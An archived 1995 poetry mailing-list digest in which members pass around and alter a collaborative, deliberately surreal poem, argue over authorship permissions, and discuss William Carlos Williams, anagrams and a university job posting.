> >(inspection denied for not knowing how credenza was meant) &
> >neo-colonizing pockets in small furniture intended house
> >sequentially several mountains away but it wasn't, you know, a
> >big tango when the attorney general came, selah hales said,
> >"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
> >Roof" Tobacco warehouse, curls no ideas but the woven fabric the
> >texture so to speak was at the dry cleaners piping hot and
> >gloved-in somewhere unsalted, perched on prescience
> >the chair is sad, alas, and i've lusted tootles' liversthe odor
> >day toy a cello day dis chevys a bo coo daughter chose encore
> >Flaubert because we're waiting all throughout
> >eternity for moments to be of such suchness.
> >In the nooks were creams and in the stream were hooks
> >All melded like striated film leftover in the pastel seeds
> >of darkness falling like a counterirritant around the manchineel.
> >Likewise seams andpaper juxtaposed with seasoned instruments and
> >recently soft fruit of subject's object status, violent
> >transformation la Ste. Therese into beaming cumulus apokoinu
> >switchback and in the u-turns were bookmobiles rounding angles
> >considered shrill as pine left in the acres to be aging
> >flawlessly, flutes sing genderless in trio, surprisedby how quiet
> >effort really is or is not, fast enough to sleep
> >through thunderstorms, arm over thigh until light shakes
> >petals free of names that rain across known skin forgotten
> >alive in our hearse hurts, projective nurse if she is to go ahead
> >and dance, composing instead of straining muscles, far eyes
> >saunter lope pentecost beam operator will you cockpit
> >out, transplanted organs speak, the idiom
> >inseams, a snare as solvently unequal-- the power
> >uncreased although each snare still trembles quantum
> >which explains why the pump is busted and why
> >he preferred whole afternoons on the phone to that
> >crap about not having a cousin on the moon
> >capable of keeping the canoe right way up in the cool
> >prose of the upper Hudson, dinner's at seven so
> >start swimmin, bud: "lay me down in a wetsuit,
> >heats me up in the sleaze," it's like a huge dose

> >of familiarity. I am storing radiance for later use
> >I know the war-whoop in each dusty narrative
> >among the invoices and the difference engines
> >Char, Lee, Parr, Kerr, everybody is here and there
> >collecting the stamp hinges that come in on the breeze
> >delicate lace flies into pelican Bills in the house
> >of narration with partners of good moisture. Here,touch my
> >ebullience with a token gesture of sauce, of the red stuff.
> >I have a lot of duende in the freezer & we can defrost some
> >woods on a snowy evening, my horse is lovely dark and deep
> >as penitence, but let's elude the shakes and drear, get lost in
> >our palaver have tongue will travel not a binge of harmony which
> >in the end goes meerschaum on us till we blink ourselves to
> >creeping where the sublime is cows bathing in starlight. Give
> >temporality a rest, for widest space succombs to onslaughts of
> >hidden porchlight in the latitude that she has given his
> >longitude. Depth is directly stated. A signal slated to be read
> >ingratiates politicos and blond ones also shaven vortices but
> >does mangling exist or the circle is balboa plus expenses
> >cabinets away from lust and pedigree and shark fin soup
> >trailing stiffens buying tears for so many tendons
> demitassed to mean full-bodied wine with alcohol removed
spending the bulk of closure with sentient scoops

↑ Index

323. Thomas Bell
Re: Adventure Agency
Tue 12 Sep 1995

In the books were dreams and in the dreams were books.And flew
through windows '95, lightning green and fine morning
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The book and the oboe on the grass under sun and cloud
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texture so to speak was at the dry cleaners piping hot and
gloved-in somewhere unsalted, perched on prescience
the chair is sad, alas, and i've lusted tootles' liversthe odor
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which explains why the pump is busted and why
he preferred whole afternoons on the phone to that
crap about not having a cousin on the moon
capable of keeping the canoe right way up in the cool
prose of the upper Hudson, dinner's at seven so
start swimmin, bud: "lay me down in a wetsuit,
heats me up in the sleaze," it's like a huge dose
of familiarity. I am storing radiance for later use
I know the war-whoop in each dusty narrative

among the invoices and the difference engines
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ebullience with a token gesture of sauce, of the red stuff.
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as penitence, but let's elude the shakes and drear, get lost in
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ingratiates politicos and blond ones also shaven vortices but
does mangling exist or the circle is balboa plus expenses
cabinets away from lust and pedigree and shark fin soup
trailing stiffens buying tears for so many tendons
and at 11:55 the Times' restaurant critic names our favorite place
for feasting on _Dead Souls_ Gogol napisat vopros Akhmatova

↑ Index

324. **Rod Smith**

Re: Dave Ayre As I Remember Him

Tue 12 Sep 1995

My finest klobucar,
How good to have news of you after so many burning bridges

I too remember kind ol' Dave. First laid eyes on him sitting in the back at that Spicer/Yasusada reading with a copy of Vivekananda. He had that youthful "in this ocean of existence we are all but wavelets" kinda way about him. Remember how he taught that sweet pup "Stuckey" to open the RC bottles? Charity is great, but the moment you say it all, you run the risk of running into materialism. Dave was like that, always another sweet meaningless comment while divvying up the loot.

And lord the Duchamp show! Attaching playing cards to the bicycle readymade. . . really freaked that guard's gobble. And that time we needed to detonate the device, who could we turn to but ol Dave, (poor Stuckey). And him always quoting that Padgett line, spitting on us with laughter, "The natives of Tangiers are referred to as Tangerines."

Ah, the old Daves. . . but I don't remember any hammers. We are talking about the same guy?

↑ Index

325. Thomas Bell
renga
Tue 12 Sep 1995

Is no one going to take responsibility of initiating
this whole thing. I would say that that person is in reality
the author and they should be the one whose permission is
needed.

↑ Index

326. Charles Alexander
Re: renga
Tue 12 Sep 1995

> Is no one going to take responsibility of initiating
>this whole thing. I would say that that person is in reality
>the author and they should be the one whose permission is
>needed.
says Thomas Bell

But this whole thing has been so much not about permissions. First, it's not a renga, and no one received permission to call it that or to butcher that form. Also, I notice that some lines (or at least one I wrote originally) have been altered already, and I don't think anyone asked permission. No one ever asks permission of the already existing authors to add to the work, thereby changing it.

And do you really think you can get everyone who has contributed to give permission?

Good luck.
Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

↑ Index

327. **Ron Silliman**
Re: Red Wheelbarrow
Tue 12 Sep 1995

I never eat WCW and leave the table unsatisfied. Hot fresh country biscuits dripping with butter!

↑ Index

328. **Michael Boughn**
Re: Red Wheelbarrow and that Damned Chicken
Tue 12 Sep 1995

Ed:

When was the last time you went back to *Spring and All* (the whole thing) or *Kora in Hell*? Perhaps it's only a measure of my own superficiality, but they still get me, every time. The anthologies were always too small to hold this stuff, even that wheelbarrow which sure looks different in its original habitat.

Best,
Mike
[redacted]

↑ Index

329. **Michael Boughn**
Re: SPECIAL AGENCY
Tue 12 Sep 1995

David Ayre = Id day rave

↑ Index

330. **Charles O. Hartman**
Re: Entry Phrasing
Tue 12 Sep 1995

On Tue, 12 Sep 1995, John Geraets wrote:

> *Is saying Testing One Two Three (a friend asked) a way of checking out the medium or of gaining attention? And why should those two functions be tied to such trite wordage? I said I'd ask for her.*
>
> *John*
> [redacted]

In fact the phrase was traditionally used, not by the person for whom the microphone was being readied, but by the sound technician whose job was to ready it; and the ethos of the boring phrase was exactly its renunciation of being-worth-paying-attention-to. Making the channel clear is not a matter for self-announcement; and come to think of it, does Homer ever say "I"?

Charles Hartman

↑ Index

331. Don Cheney
Phone Bill
Tue 12 Sep 1995

Bill Luoma = mull a boil

↑ Index

332. Edward Foster
Re: you & whose army?
Tue 12 Sep 1995

---

mr. m: to admire x does not obligate one to admire those admired by x. best to you from . . . hal (?)

↑ Index

333. Herb Levy
Re: SPECIAL AGENCY
Tue 12 Sep 1995

> *David Ayre = Id day rave*

Now that I think of it, I've always found David Ayre to both ready & avid.

Herb Levy
[redacted]

↑ Index

334. Kevin Killian
Address query
Tue 12 Sep 1995

Do any of you know addresses for a) Richard Candida Smith or b) Steven Watson? Please if so send to-

Kevin Killian

Thanks

↑ Index

335. **Edward Foster**
Re: Special Delivery
Tue 12 Sep 1995

---

enuf of that sweet-talkin' sycorax stuff, a neilson: you zuk x, and x 'll beat the sulfur out of your jeans. rod's got no letter cuz the wrong letter was the letter he found, and you better believe it, hey!

↑ Index

336. **Edward Foster**
Re: Red Wheelbarrow
Tue 12 Sep 1995

---

ron, no one eats wcw with butter, that's crude, and unhealthy. wcw, once it's properly roasted, should only be served with white sauce.

↑ Index

337. **M. Magoolaghan**
Re: you & whose army?
Tue 12 Sep 1995

On Tue, 12 Sep 1995, Edward Foster wrote:

> mr. m: to admire x does not obligate one to admire those admired by x. best to y
> ou from . . . hal (?)
>
dear edward (hal)sey foster: certainly. but it's too easy to
dismiss wms on the basis of one chicken poem taken out of context, much
harder when you acknowledge olson's/creeley's/zukofsky's/et al's
longstanding admiration, no? p'raps if you find wms old hat it's b/c
yer reading the wrong wms? read spring & all, selected essays, or
american grain recently?

sorry to confuse you with the anti-aesthetic guy. enjoyed understanding blk
mtn poets, though i'm still not convinced it's all emerson's doing.

all best, mm

↑ Index

338. **Jeffrey Timmons**
Re: SPECIAL AGENCY
Tue 12 Sep 1995

---

i'm bored . . . and have no sense of irony. please send help.

jeffrey timmons

↑ Index

339. **Jeffrey Timmons**
Re: SPECIAL AGENCY
Tue 12 Sep 1995

---

oops, what i meant was i'm bored . . . am bored by wcw and have no sense of irony . . . which is probably why i like him.

jeffrey timmons

↑ Index

340. **Alan Golding**
Jobs
Tue 12 Sep 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

I wanted to notify the list of two positions that we're seeking to fill here this year. Both are assistant professorships; deadline is Nov. 10; AA/EOE.

1. Specialization in postcolonial literatures in English, with strong interest in second literary field and/or critical theory.

2. Specialization in fiction writing; secondary activity in another genre (esp. creative non-fiction), literary field, or rhetoric and composition desirable.

More details can be found in the job ads in the MLA and Chronicle of Higher Education. Please, depending on your situation, consider applying or alerting your students to these opportunities.

Given the general interests of the list, it seems a good idea to let you know that the folks running the fiction search are likely to define that genre in fairly traditional terms, and not be super-receptive to, say, polygeneric or indeterminately generic writing--meaning (I'm blathering here) they'll probably be drawn to people writing stuff that looks like short stories, novellas, etc. At the same time, I consider one of my jobs in life to nudge my colleagues beyond the conventional in these matters, and though I'm not formally involved in that search I will be sitting in on interviews and trying to open up the field a bit.

Bottom line: please write in--I don't want to discourage you from doing so--but don't get your hopes sky-high. But anyone who's been on the job market recently knows that.

Alan

↑ Index

341. Gwyn McVay
A non-list anagram
Tue 12 Sep 1995

George Herbert Walker Bush =

Huge Berserk Rebel Warthog

↑ Index

342. Jorge Guitart
Re: Adventure Agency
Tue 12 Sep 1995

On Mon, 11 Sep 1995, Sheila E. Murphy wrote:

> >In the books were dreams and in the dreams were books.And flew
> >through windows '95, lightning green and fine morning
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> >Mollycoddled than aware, thin-spined and pebbling
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> >Over coffee topped with whipped lads, the Times blowing
> >& opining, heavy humid air, cum amusing against the
> >bleached ribcage ripcorded into compassed wind
> >kissing the weatherwoman between her beasts as she
> >gives gracious problem: fanatical snacks, landscape of
> >flicka son of thunderhead and the storm in the glass of water'
> >s halfway pertinent incision we keep making safe for ignorance
> >(inspection denied for not knowing how credenza was meant) &
> >neo-colonizing pockets in small furniture intended house
> >sequentially several mountains away but it wasn't, you know, a
> >big tango when the attorney general came, selah hales said,
> >"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
> >Roof" Tobacco warehouse, curls no ideas but the woven fabric the

> >texture so to speak was at the dry cleaners piping hot and
> >gloved-in somewhere unsalted, perched on prescience
> >the chair is sad, alas, and i've lusted tootles' liversthe odor
> >day toy a cello day dis chevys a bo coo daughter chose encore
> >Flaubert because we're waiting all throughout
> >eternity for moments to be of such suchness.
> >In the nooks were creams and in the stream were hooks
> >All melded like striated film leftover in the pastel seeds
> >of darkness falling like a counterirritant around the manchineel.
> >Likewise seams andpaper juxtaposed with seasoned instruments and
> >recently soft fruit of subject's object status, violent
> >transformation la Ste. Therese into beaming cumulus apokoinu
> >switchback and in the u-turns were bookmobiles rounding angles
> >considered shrill as pine left in the acres to be aging
> >flawlessly, flutes sing genderless in trio, surprisedby how quiet
> >effort really is or is not, fast enough to sleep
> >through thunderstorms, arm over thigh until light shakes
> >petals free of names that rain across known skin forgotten
> >alive in our hearse hurts, projective nurse if she is to go ahead
> >and dance, composing instead of straining muscles, far eyes
> >saunter lope pentecost beam operator will you cockpit
> >out, transplanted organs speak, the idiom
> >inseams, a snare as solvently unequal-- the power
> >uncreased although each snare still trembles quantum
> >which explains why the pump is busted and why
> >he preferred whole afternoons on the phone to that
> >crap about not having a cousin on the moon
> >capable of keeping the canoe right way up in the cool
> >prose of the upper Hudson, dinner's at seven so
> >start swimmin, bud: "lay me down in a wetsuit,
> >heats me up in the sleaze," it's like a huge dose
> >of familiarity. I am storing radiance for later use
> >I know the war-whoop in each dusty narrative
> >among the invoices and the difference engines
> >Char, Lee, Parr, Kerr, everybody is here and there
> >collecting the stamp hinges that come in on the breeze
> >delicate lace flies into pelican Bills in the house
> >of narration with partners of good moisture. Here,touch my
> >ebullience with a token gesture of sauce, of the red stuff.
> >I have a lot of duende in the freezer & we can defrost some
> >woods on a snowy evening, my horse is lovely dark and deep
> >as penitence, but let's elude the shakes and drear, get lost in

> >our palaver have tongue will travel not a binge of harmony which
> >in the end goes meerschaum on us till we blink ourselves to
> >creeping where the sublime is cows bathing in starlight. Give
> >temporality a rest, for widest space succombs to onslaughts of
> >hidden porchlight in the latitude that she has given his
> >longitude. Depth is directly stated. A signal slated to be read
> >ingratiates politicos and blond ones also shaven vortices but
> >does mangling exist or the circle is balboa plus expenses
> >cabinets away from lust and pedigree and shark fin soup
> >trailing stiffens buying tears for so many tendons
> >and at 11:55 the Times' restaurant critic names our favorite place
> worth half a bongo, but that's taste when all the favorite pastimes are outlyers
  of kimba fans streaming toward the flotilla of compelling drives

↑ Index

343. Jorge Guitart

Re: Two rengs dont make a write

Tue 12 Sep 1995

On Mon, 11 Sep 1995, Thomas Bell wrote:

> But they do.
> Makke a rite that is. Jorge wrote
> On Sun, 10 Sep 1995, Jorge el Canadiense wrote:
>
> > > El otro Jorge wrote:
> > > Sheila wrote:
> > > > Jorge wrote:
> > > > >> >> >> > > > > > In the books were dreams and in the dreams were
> books.>e> > > morning> > > >> >> >> > > > > > First inverted whistle of a
> cardinal in the poplar> > > >> >> >> > > > > > The book and the oboe on the
> grass under sun and cloud> > > >> >> >> > > > > > Go endlessly, an obtuse
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> what they flee> > > >> >> >> > > > > > These lace curtains, more gauze than
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> Sunday years ago> > > >> >> >> > > > > > Over coffee topped with whipped
> lads, the Times blowinge> > > >> >> >> > > > > > bleached ribcage ripcorded
> into compassed wind> > > >> >> >> > > > > > kissing the weatherwoman between
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> > >
> > warehouse, curls> > > >> >> >> > > > > > no ideas but the woven fabric
> the texture so to speak ws> > > at t> > > >he> > > >> >> >> > > > > >
> dry cleaners> > > >> >> >> > > > > > piping hot and gloved-in somewhere
> unsalted, perched one> > > >> >> >> > > > > > the chair is sad, alas, and
> i've lusted tootles' liversr> > > chos> > > >e> > > >> >> >> > > > > >
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> eternity fore> > > >> >> >> > > > > > of such suchness. In the nooks were
> creams and in the sa> > ms> > > >> >> >> > > > > > were hooks.
> > > > >> >> >> > > > > > All belled like striated film leftover in
> >>>the pastel> seeds > of> > > >> >> >> > > > > > darkness
> > > > >> >> >> > > > > > falling like a counterirritant around the

> manchineel.> > > Likewise> > > >> >> >> > > > > > sandpaper juxtaposed with
> seasoned instruments and> > > recently so> > > >ft> > > >> >> >> > > > > >
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> transformation> > > >> >> >> > > > > > la Ste. Therese into beaming cumulus
> apokoinu switchback> > > >> >> >> > > > > > and in the u-turns were
> bookmobiles rounding angles> > > considered> > > >> >> >> > > > > > shrill as
> pine left in the acres to be aging> > > >> >> >> > > > > > flawlessly, flutes
> sing genderless in trio, surprised> > > >> >> >> > > > > > by how quiet
> effort really is or is not, fast enough toe> > ep> > > >> >> >> > > > > >
> through thunderstorms, arm over thigh until light shakes> > > >> >> >> > > >
> > > petals free of names that rain across known skin forgotn> > > >> >> >> >
> > > > > alive in our hearse hurts, projective nurse if she is to> > > >>
> ahead> > > >> >> >> > > > > > and dance, composing instead of straining
> muscles, far eyes> > > >> >> >> > > > > > saunter lope pentecost beam
> operator will you cockpit> > > >> >> >> > > > > > out, transplanted organs
> speak, the idiom> > > >> >> >> > > > > > inseams, a snare as solvently
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> still trembles quantum> > > >> >> >> > > > > > which explains why the pump is
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> phone to that> > > >> >> >> > > > > > crap about not having a cousin on the
> moon> > > >> >> >> > > > > > capable of keeping the canoe right way up in the
> cool> > > >> >> >> > > > > > prose of the upper Hudson, dinner's at seven so
> > > > > >> >> >> > > > > > start swimmin, bud: "lay me down in a wetsuit,
> > > > > >> >> >> > > > > > heats me up in the sleaze," it's like a huge dose
> > > > > >> >> >> > > > > of familiarity. I am storing radiance for later use
> > > > > >> >> >> > > > > > I know the war-whoop in each dusty narrative
> > > > > >> >> >> > > > > > among the invoices and the difference engines

> > > > >> >> >> > > > > > Char, Lee, Parr, Kerr, everybody is here and there
> > > > >> >> >> > > > > collecting the stamp hinges that come in on the
> breeze> > > >> >> >> > > > delicate lace flies into pelican Bills in the
> house> > > >> >> >> > > of narration with partners of good moisture.
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> we can defrost some> > > >> >> > > woods on a snowy evening, my
> horse is lovely dark and d> > > >> >> as penitence, but let's elude the
> shakes and drear, get lost in our> > > palaver> > > >> > have tongue will
> travel not a binge of harmony which in the end goes> > > >> sublime is cows
> bathing in starlight. Give temporality a rest, for> > > widest space succombs
> to onslaughts of hidden porchlight in the latitude> > > that she has given
> his longitude. Depth is directly stated. A signal> > event of the first
> order, observed by St. Petersburg poets on horses mounted on cardboard
> which i had given Park Place & two railroads for.
>
> Jorge wrote:
> In the books were dreams and in the dreams were books.
>
> >e> > > morning> > > >> >> >> > > > > > First inverted whistle of a
> cardinal in the poplar> > > >> >> >> > > > > > The book and the oboe on the
> grass under sun and cloud> > > >> >> >> > > > > > Go endlessly, an obtuse
> Prussian blue, it binds> > > >> >> >> > > > > > The caravan of windows to
> what they flee> > > >> >> >> > > > > > These lace curtains, more gauze than
> bondage, more> > > >> >> >> > > > > > Mollycoddled than aware, thin-spined
> and pebbling> > > >> >> >> > > > > > but narrow in the waist or waspish
> Sunday years ago> > > >> >> >> > > > > > Over coffee topped with whipped
> lads, the Times blowinge> > > >> >> >> > > > > > bleached ribcage ripcorded
> into compassed wind> > > >> >> >> > > > > > kissing the weatherwoman between
> her beasts as she> > > >> >> >> > > > > > gives gracious problem: fanatical

> snacks, landscape of> > > >> >> >> > > > > > flicka son of thunderhead and
> the storm in the glass of'> > > >s> > > >> >> >> > > > > > halfway pertinent
> incision we keep making safe for ignoc> > e> > > >> >> >> > > > > >
> (inspection> > > >> >> >> > > > > > denied for knowing how credenza was
> meant) &> > neo-coln> > > >g> > > >> >> >> > > > > > pockets in small
> furniture intended house sequentially> > > several > > > >> >> >> > > > > >
> mountains away but it wasn't, you know, a big tango> > > >> >> >> > > > > >
> when the attorney general came, selah hales said, "Dias,> > > oh,ho
> > > > >,> > > >> >> >> > > > > > kook!"> > > >> >> >> > > > > > Edward
> Kennedy Ellington! "Tootin' Through the Roof" Toc> > o> > > >> >> >> > > > >
> > warehouse, curls> > > >> >> >> > > > > > no ideas but the woven fabric
> the texture so to speak ws> > > at t> > > >he> > > >> >> >> > > > > >
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> unsalted, perched one> > > >> >> >> > > > > > the chair is sad, alas, and
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> creams and in the sa> > ms> > > >> >> >> > > > > > were hooks.
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> bookmobiles rounding angles> > > considered> > > >> >> >> > > > > >

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> sing genderless in trio, surprised> > > >> >> >> > > > > > by how quiet
> effort really is or is not, fast enough toe> > ep> > > >> >> >> > > > > >
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> > > > > alive in our hearse hurts, projective nurse if she is to> > > >>
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> we can defrost some> > > >> >> > > woods on a snowy evening, my
> horse is lovely dark and d> > > >> >> as penitence, but let's elude the
> shakes and drear, get lost in our> > > palaver> > > >> > have tongue will
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> bathing in starlight. Give temporality a rest, for> > > widest space succombs
> to onslaughts of hidden porchlight in the latitude> > > that she has given
> his longitude. Depth is directly stated. A signal> > event of the first
> order, observed by St. Petersburg poets on horses mounted on cardboard
> which i had given Park Place & two railroads for--
> for the price Barnum %& Bailey began postmodernism with
  by not giving the auroras-of-autumn suckers and even break, but

↑ Index

344. Jorge Guitart
Re: Adventure Agency
Tue 12 Sep 1995

On Mon, 11 Sep 1995, Thomas Bell wrote:

> In the books were dreams and in the dreams were books.And flew
> through windows '95, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped lads, the Times blowing
> & opining, heavy humid air, cum amusing against the
> bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her beasts as she
> gives gracious problem: fanatical snacks, landscape of
> flicka son of thunderhead and the storm in the glass of water'
> s halfway pertinent incision we keep making safe for ignorance
> (inspection denied for not knowing how credenza was meant) &
> neo-colonizing pockets in small furniture intended house
> sequentially several mountains away but it wasn't, you know, a
> big tango when the attorney general came, selah hales said,
> "Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
> Roof" Tobacco warehouse, curls no ideas but the woven fabric the
> texture so to speak was at the dry cleaners piping hot and

> gloved-in somewhere unsalted, perched on prescience
> the chair is sad, alas, and i've lusted tootles' liversthe odor
> day toy a cello day dis chevys a bo coo daughter chose encore
> Flaubert because we're waiting all throughout
> eternity for moments to be of such suchness.
> In the nooks were creams and in the stream were hooks
> All melded like striated film leftover in the pastel seeds
> of darkness falling like a counterirritant around the manchineel.
> Likewise seams andpaper juxtaposed with seasoned instruments and
> recently soft fruit of subject's object status, violent
> transformation la Ste. Therese into beaming cumulus apokoinu
> switchback and in the u-turns were bookmobiles rounding angles
> considered shrill as pine left in the acres to be aging
> flawlessly, flutes sing genderless in trio, surprisedby how quiet
> effort really is or is not, fast enough to sleep
> through thunderstorms, arm over thigh until light shakes
> petals free of names that rain across known skin forgotten
> alive in our hearse hurts, projective nurse if she is to go ahead
> and dance, composing instead of straining muscles, far eyes
> saunter lope pentecost beam operator will you cockpit
> out, transplanted organs speak, the idiom
> inseams, a snare as solvently unequal-- the power
> uncreased although each snare still trembles quantum
> which explains why the pump is busted and why
> he preferred whole afternoons on the phone to that
> crap about not having a cousin on the moon
> capable of keeping the canoe right way up in the cool
> prose of the upper Hudson, dinner's at seven so
> start swimmin, bud: "lay me down in a wetsuit,
> heats me up in the sleaze," it's like a huge dose
> of familiarity. I am storing radiance for later use
> I know the war-whoop in each dusty narrative
> among the invoices and the difference engines
> Char, Lee, Parr, Kerr, everybody is here and there
> collecting the stamp hinges that come in on the breeze
> delicate lace flies into pelican Bills in the house
> of narration with partners of good moisture. Here,touch my
> ebullience with a token gesture of sauce, of the red stuff.
> I have a lot of duende in the freezer & we can defrost some
> woods on a snowy evening, my horse is lovely dark and deep
> as penitence, but let's elude the shakes and drear, get lost in
> our palaver have tongue will travel not a binge of harmony which

> in the end goes meerschaum on us till we blink ourselves to
> creeping where the sublime is cows bathing in starlight. Give
> temporality a rest, for widest space succombs to onslaughts of
> hidden porchlight in the latitude that she has given his
> longitude. Depth is directly stated. A signal slated to be read
> ingratiates politicos and blond ones also shaven vortices but
> does mangling exist or the circle is balboa plus expenses
> cabinets away from lust and pedigree and shark fin soup
> trailing stiffens buying tears for so many tendons
> and at 11:55 the Times' restaurant critic names our favorite place
> for feasting on _Dead Souls_ Gogol napisat vopros Akhmatova
of the fragrant mothers the least able to succeed in field hockey

↑ Index

345. Ryan Knighton
Re: Welford
Tue 12 Sep 1995

Sorry to use this space.

Gabrielle, I accidentally or incidentally deleted your message before I could read it. Lemme have it back if you can, please.

Ryan, with apologies
[redacted]

↑ Index

346. cris cheek
Re: Sheila & Jorge's Excellent Adventure
Tue 12 Sep 1995

>>S&J's excellent adventure sans chevrons
>
Jorge wrote:
Sheila wrote
Jorge wrote:
Sheila wrote
Jorge wrote:
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Jorge wrote:

Sheila wrote:

In the books were dreams and in the dreams were books.And flew through windows '95, lightning green and fine morning

First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped lads, the Times blowing
& opining, heavy humid air, cum amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her beasts as she
gives gracious problem: fanatical snacks, landscape of
flicka son of thunderhead and the storm in the glass of water'
s halfway pertinent incision we keep making safe for ignorance
(inspection denied for not knowing how credenza was meant) &
neo-colonizing pockets in small furniture intended house
sequentially several mountains away but it wasn't, you know, a
big tango when the attorney general came, selah hales said,
"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
Roof" Tobacco warehouse, curls no ideas but the woven fabric the
texture so to speak was at the dry cleaners piping hot and
gloved-in somewhere unsalted, perched on prescience
the chair is sad, alas, and i've lusted tootles' liversthe odor
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Flaubert because we're waiting all throughout
eternity for moments to be of such suchness.
In the nooks were creams and in the stream were hooks
All melded like striated film leftover in the pastel seeds
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Likewise seams andpaper juxtaposed with seasoned instruments and
recently soft fruit of subject's object status, violent
transformation la Ste. Therese into beaming cumulus apokoinu
switchback and in the u-turns were bookmobiles rounding angles
considered shrill as pine left in the acres to be aging
flawlessly, flutes sing genderless in trio, surprisedby how quiet
effort really is or is not, fast enough to sleep
through thunderstorms, arm over thigh until light shakes
petals free of names that rain across known skin forgotten
alive in our hearse hurts, projective nurse if she is to go ahead
and dance, composing instead of straining muscles, far eyes
saunter lope pentecost beam operator will you cockpit
out, transplanted organs speak, the idiom

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uncreased although each snare still trembles quantum
which explains why the pump is busted and why
he preferred whole afternoons on the phone to that
crap about not having a cousin on the moon
capable of keeping the canoe right way up in the cool
prose of the upper Hudson, dinner's at seven so
start swimmin, bud: "lay me down in a wetsuit,
heats me up in the sleaze," it's like a huge dose
of familiarity. I am storing radiance for later use
I know the war-whoop in each dusty narrative
among the invoices and the difference engines
Char, Lee, Parr, Kerr, everybody is here and there
collecting the stamp hinges that come in on the breeze
delicate lace flies into pelican Bills in the house
of narration with partners of good moisture. Here,touch my
ebullience with a token gesture of sauce, of the red stuff.
I have a lot of duende in the freezer & we can defrost some
woods on a snowy evening, my horse is lovely dark and deep
as penitence, but let's elude the shakes and drear, get lost in
our palaver have tongue will travel not a binge of harmony which
in the end goes meerschaum on us till we blink ourselves to
creeping where the sublime is cows bathing in starlight. Give
temporality a rest, for widest space succombs to onslaughts of
hidden porchlight in the latitude that she has given his
longitude. Depth is directly stated. A signal slated to be read
ingratiates politicos and blond ones also shaven vortices but
does mangling exist or the circle is balboa plus expenses
cabinets away from lust and pedigree and shark fin soup
trailing stiffens buying tears for so many tendons
demitassed to mean full-bodied wine with alcohol removed
by trained leeches from under the rotting elastic, a feast

↑ Index

347. **Bill Luoma**

Re: Red Wheelbarrow

Tue 12 Sep 1995

Ed,

WCW is similar to Joseph Cotton in the 3rd Man, as are you. The american who doesn't quite get it. I kind of identify with him. I mean you.

Does anyone know what book the bag poem Williams wrote is in? It's about a car running over an empty paper bag . . .

Bill Luoma

↑ Index

348. Patrick Phillips
Re: Red Wheelbarrow
Tue 12 Sep 1995

Bill

it's "The Term" and it's in _Poems '36 - '39_

↑ Index

349. Jordan Davis.
use narrative engines
Tue 12 Sep 1995

---

were books
green and fine
morning
poplar
and cloud
binds

bondage, more
pebbling
years ago
Times blowing
against the
wind

breasts as she
landscape of
the glass of
water's
safe for
ignorance

meant &
neo-colonizing
sequentially
several
big tango

said,
"Dias,
oh, ho

Through the Roof"
Tobacco

speak was
at
the

unsalted, perched on
livers
daughter
chose

throughout
eternity for

and in the
streams

pastel seeds
of

manchineel.
Likewise

instruments and
recently soft

transformation

apokoinu
switchback
rounding angles
considered
surprised

enough
to sleep

light
shakes

skin
forgotten

she is
to go
ahead

muscles, far
eyes

cockpit

power
quantum
why
to that
the cool

so
wetsuit,
dose
use
narrative
engines
there
the breeze
house

Here,
touch my
the red
stuff.

defrost
some

dark
and deep

in our
palaver

the end goes
the
for
the latitude
signal
vortices

↑ Index

350. **Jordan Davis.**

ode to unix

Tue 12 Sep 1995

---

were books morning
a cardinal in the poplar
on the
grass under sun and cloud
obtuse
Prussian blue, it binds
windows to
what they flee
than
bondage, more
thin-spined
and pebbling
waspish
Sunday years ago
whipped
lads, the Times blowinge
ripcorded
into compassed wind
weatherwoman between
her breasts as she
fanatical
snacks, landscape of
and
the storm in the glass of
pertinent
incision we keep making safe for
(inspection
was

fabric
the texture so to speak was
dry cleaners
somewhere
unsalted, perched one
and
i've lusted tootles livers
encore
through
eternity fore

↑ Index

351. Tony Green
Re: renga
Tue 12 Sep 1995

---

you can have my permission for my one line in a version that never went much further than a slam with a Guitart

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

352. Jordan Davis.
twenty questions
Tue 12 Sep 1995

Probably the less said about the language of life, and the more about linebreak the better, but I'm guessing the new radio show out of Buffalo won't have the kind of grant money PBS did, nor would it use that money to produce a very slick set of teacher's guides (including 18 poet cards--bigger and less exciting than baseball cards). Outreach! they call it.

Here are some "questions to think about" from the teacher's guide to "The Language of Life" with Bill Moyers (with apologies to C Forche, the only list member ((I think)) involved). High school teachers will be asking these questions to future citizens of our various polises (polices?) in the next few weeks...

Why is "what you dream up" deeper than what you know?

What will you do with your time?

Why should you be suspicious of what you want?

When did you last surprise wounds of your own this long time unmothered?

How _can_ we move toward one another?

How do you know if you can or can't sing?

When do you catch sight of the promised land?

What have you been given for your poetry?

To what do you pledge allegiance?

What is the "myself" that you want to be?

What kind of satchel do you carry your poems in?

How have you honored that floral apron?

When did you last forget _your_ distance?

What are the circumstances in which you are reading the poem?

What would you aim your poems at?

What music is great enough to bring you back?

What leads you back to a person you need to remember?

What happened before you were born that still matters to you now?

I'll be collecting your papers next Tuesday, typed, double spaced... Jordan

↑ Index

353. Jordan Davis.

ahem Chaim subroutine hawk stichic

Tue 12 Sep 1995

> >In the books were dreams and in the dreams were books.And flew
> >through windows '95, lightning green and fine morning
> >First detrevni whistle of a cardinal in the poplar
> >The book and the old boy on the grass under sun and cloud
> >Go endless, an obtuse cellar blue, it binds
